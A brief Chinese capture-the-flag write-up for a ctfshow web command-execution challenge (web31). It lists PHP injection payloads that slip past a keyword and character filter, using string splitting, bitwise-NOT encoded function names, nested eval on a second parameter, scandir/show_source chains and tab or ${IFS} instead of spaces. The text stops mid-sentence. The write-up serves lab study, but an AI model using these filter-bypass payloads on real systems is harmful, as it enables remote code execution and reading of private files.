ctfshow-web-命令执行，网络安全开发的基础知识

过滤了php、flag、system
补充打印文件命令?c=echo%20nl%20fl%27%27ag.p%27%27hp;
3. web31
preg_match(“/flag|system|php|cat|sort|shell|.| |'/i”, $c)
其他的过滤了无所谓,但过滤了.和空格

①其实就是highlight_file(flag.php);的url编码,适用php7
?c=(_{%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(}%99%93%9E%98%D1%8F%97%8F);

②通过嵌套eval函数来获取另一个参数的的方法来绕过，不会判断其他参数的传入
?c=eval($_GET[a]);&a=system(‘cat flag.php’);

③用函数绕
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=show_source(scandir(getcwd())[2]);

localeconv():返回包含本地化数字和货币格式信息的关联数组,这里主要是返回数组第一个"."
pos():输出数组第一个元素，不改变指针
scandir():遍历目录，这里因为参数为"."所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个,这里可以省略倒置和改变数组指针，直接利用[2]取出数组也可以
show_source():查看源码
getcwd():获取当前工作目录

④绕空格
?c=passthru(“tac%09fla*”);
?c=passthru(“tac${IFS}$9fla*”);
中间拼接用%0